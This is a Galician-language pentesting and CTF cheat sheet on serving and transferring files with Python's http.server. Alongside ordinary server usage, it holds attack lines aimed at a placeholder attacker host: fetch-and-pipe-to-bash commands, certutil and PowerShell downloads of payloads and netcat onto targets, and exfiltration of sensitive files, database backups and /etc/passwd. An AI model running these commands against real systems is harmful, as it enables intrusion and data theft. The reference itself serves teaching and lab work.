Ir ao contido

Python HTTP Server - Servidor Web Simple

Descrición

Módulo de Python para crear un servidor HTTP simple. Ferramenta esencial para transferir ficheiros entre máquinas durante pentesting e CTFs.

Sintaxe básica

Python 3

python3 -m http.server [porto]

Python 2 (obsoleto)

python -m SimpleHTTPServer [porto]

Opcións principais

Opción Descrición
porto Porto a escoitar (por defecto: 8000)
--bind <IP> IP específica a escoitar
--directory <dir> Directorio a servir (Python 3.7+)

Exemplos de uso

Servidor básico

# Servidor no porto por defecto (8000)
python3 -m http.server

# Servidor nun porto específico
python3 -m http.server 8080
python3 -m http.server 80  # Require sudo

# Servidor en IP específica
python3 -m http.server 8000 --bind 192.168.1.100

# Servidor desde directorio específico (Python 3.7+)
python3 -m http.server 8000 --directory /tmp/files/

# Python 2 (se non hai Python 3)
python -m SimpleHTTPServer 8000

Acceso desde cliente

# Listar ficheiros (desde navegador ou terminal)
http://IP_ATACANTE:8000/

# Descargar ficheiro específico
wget http://IP_ATACANTE:8000/linpeas.sh
curl http://IP_ATACANTE:8000/exploit.py -o exploit.py
curl -O http://IP_ATACANTE:8000/payload.exe

Workflow de transferencia de ficheiros

Desde atacante cara obxectivo

# 1. Na máquina atacante:
cd /path/con/ficheiros
python3 -m http.server 8000
# Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

# 2. Na máquina obxectivo:
# Con wget
wget http://IP_ATACANTE:8000/linpeas.sh
chmod +x linpeas.sh

# Con curl
curl http://IP_ATACANTE:8000/exploit.py -o exploit.py

# Descargar e executar directamente
wget http://IP_ATACANTE:8000/script.sh -O - | bash
curl http://IP_ATACANTE:8000/script.sh | bash

# Múltiples ficheiros
wget -r http://IP_ATACANTE:8000/

Desde obxectivo cara atacante (exfiltración)

# Na máquina obxectivo (onde están os datos):
cd /path/con/datos/sensibles
python3 -m http.server 8000

# Na máquina atacante:
wget http://IP_OBXECTIVO:8000/sensitive_data.txt
curl http://IP_OBXECTIVO:8000/database_backup.sql -o backup.sql

# Descargar directorio completo
wget -r -np -nH --cut-dirs=0 http://IP_OBXECTIVO:8000/

Casos de uso específicos

Servir exploits e payloads

# Organizar ferramentas
mkdir ~/tools
cd ~/tools
cp /usr/share/windows-resources/binaries/nc.exe .
cp ~/payloads/payload.exe .
cp /opt/linpeas/linpeas.sh .

# Iniciar servidor
python3 -m http.server 80  # Porto 80 require sudo

# Desde obxectivo Windows
certutil -urlcache -f http://IP_ATACANTE/nc.exe nc.exe
powershell wget http://IP_ATACANTE/payload.exe -O payload.exe

# Desde obxectivo Linux
wget http://IP_ATACANTE/linpeas.sh
curl http://IP_ATACANTE/exploit -o exploit

Servidor HTTPS (con SSL)

# Crear certificado autofirmado
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

# Script Python para HTTPS
cat > https_server.py << 'EOF'
import http.server
import ssl

server_address = ('0.0.0.0', 4443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
                                server_side=True,
                                certfile='server.pem',
                                ssl_version=ssl.PROTOCOL_TLS)
print("Serving HTTPS on 0.0.0.0:4443")
httpd.serve_forever()
EOF

python3 https_server.py

# Descargar desde HTTPS
wget --no-check-certificate https://IP_ATACANTE:4443/file
curl -k https://IP_ATACANTE:4443/file -o file

Servidor con autenticación

# Script Python con Basic Auth
cat > auth_server.py << 'EOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
import base64

class AuthHandler(SimpleHTTPRequestHandler):
    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm="Test"')
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        auth = self.headers.get('Authorization')
        if auth == None:
            self.do_AUTHHEAD()
            self.wfile.write(b'No auth header')
        elif auth == 'Basic ' + base64.b64encode(b'user:pass').decode():
            SimpleHTTPRequestHandler.do_GET(self)
        else:
            self.do_AUTHHEAD()
            self.wfile.write(b'Auth failed')

httpd = HTTPServer(('0.0.0.0', 8000), AuthHandler)
httpd.serve_forever()
EOF

python3 auth_server.py

# Acceder con autenticación
wget --user=user --password=pass http://IP:8000/file
curl -u user:pass http://IP:8000/file

Servidor con upload (recibir ficheiros)

# Script Python para recibir ficheiros
cat > upload_server.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler

class UploadHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        filename = self.headers.get('filename', 'uploaded_file')
        with open(filename, 'wb') as f:
            f.write(post_data)
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'File uploaded successfully')

httpd = HTTPServer(('0.0.0.0', 8000), UploadHandler)
print("Upload server running on port 8000")
httpd.serve_forever()
EOF

python3 upload_server.py

# Enviar ficheiro desde cliente
curl -X POST -H "filename: exfil.txt" --data-binary @/etc/passwd http://IP_ATACANTE:8000/

Combinacións útiles

Con netcat para recibir ficheiros

# Alternativa con nc se Python non está dispoñible

# Receptor (atacante)
nc -lvnp 4444 > received_file

# Emisor (obxectivo)
cat file | nc IP_ATACANTE 4444

Servidor en segundo plano

# Executar en background
python3 -m http.server 8000 &

# Ver procesos en background
jobs

# Traer a primeiro plano
fg

# Deter servidor
kill %1

# Con nohup (persiste despois de cerrar terminal)
nohup python3 -m http.server 8000 &

Logs do servidor

# Redirixir logs a ficheiro
python3 -m http.server 8000 > server.log 2>&1

# Ver logs en tempo real
python3 -m http.server 8000 2>&1 | tee server.log

# Exemplo de logs:
# 192.168.1.50 - - [15/Nov/2024 10:30:45] "GET /linpeas.sh HTTP/1.1" 200 -
# 192.168.1.50 - - [15/Nov/2024 10:31:20] "GET /exploit.py HTTP/1.1" 200 -

Seguridade e boas prácticas

# Servir só localhost (non exponer a rede)
python3 -m http.server 8000 --bind 127.0.0.1

# Servir directorio específico (non home)
mkdir /tmp/transfer
cd /tmp/transfer
python3 -m http.server 8000

# Usar porto non estándar
python3 -m http.server 9999

# Deter servidor despois de usar
# Ctrl+C ou kill proceso

Alternativas

# PHP
php -S 0.0.0.0:8000

# Ruby
ruby -run -ehttpd . -p8000

# BusyBox (en sistemas embebidos)
busybox httpd -f -p 8000

# Node.js
npx http-server -p 8000

# updog (Python, con UI mellor)
pip3 install updog
updog -p 8000

Troubleshooting

# Porto en uso
# Error: OSError: [Errno 98] Address already in use
# Solución: Usar outro porto ou matar proceso
lsof -i :8000
kill -9 <PID>

# Permiso denegado porto < 1024
# Error: Permission denied
# Solución: Usar sudo ou porto > 1024
sudo python3 -m http.server 80

# Non se pode conectar
# Verificar firewall
sudo ufw status
sudo ufw allow 8000/tcp

# Verificar IP correcta
ip a
ifconfig

Notas adicionais

  • Python HTTP Server é a forma máis sinxela de transferir ficheiros
  • Serve o directorio actual por defecto
  • Útil para servir exploits, scripts e payloads
  • Tamén útil para exfiltrar datos (servidor no obxectivo)
  • NON usar en produción - só para testing/CTF
  • O servidor mostra logs de cada petición (útil para debugging)
  • Combinar con ngrok para exponer servidor local a Internet
  • Porto 8000 é estándar, pero calquera porto funciona
  • Require Python instalado (case sempre presente en Linux)
  • Para Windows obxectivo, considerar certutil, powershell wget, ou bitsadmin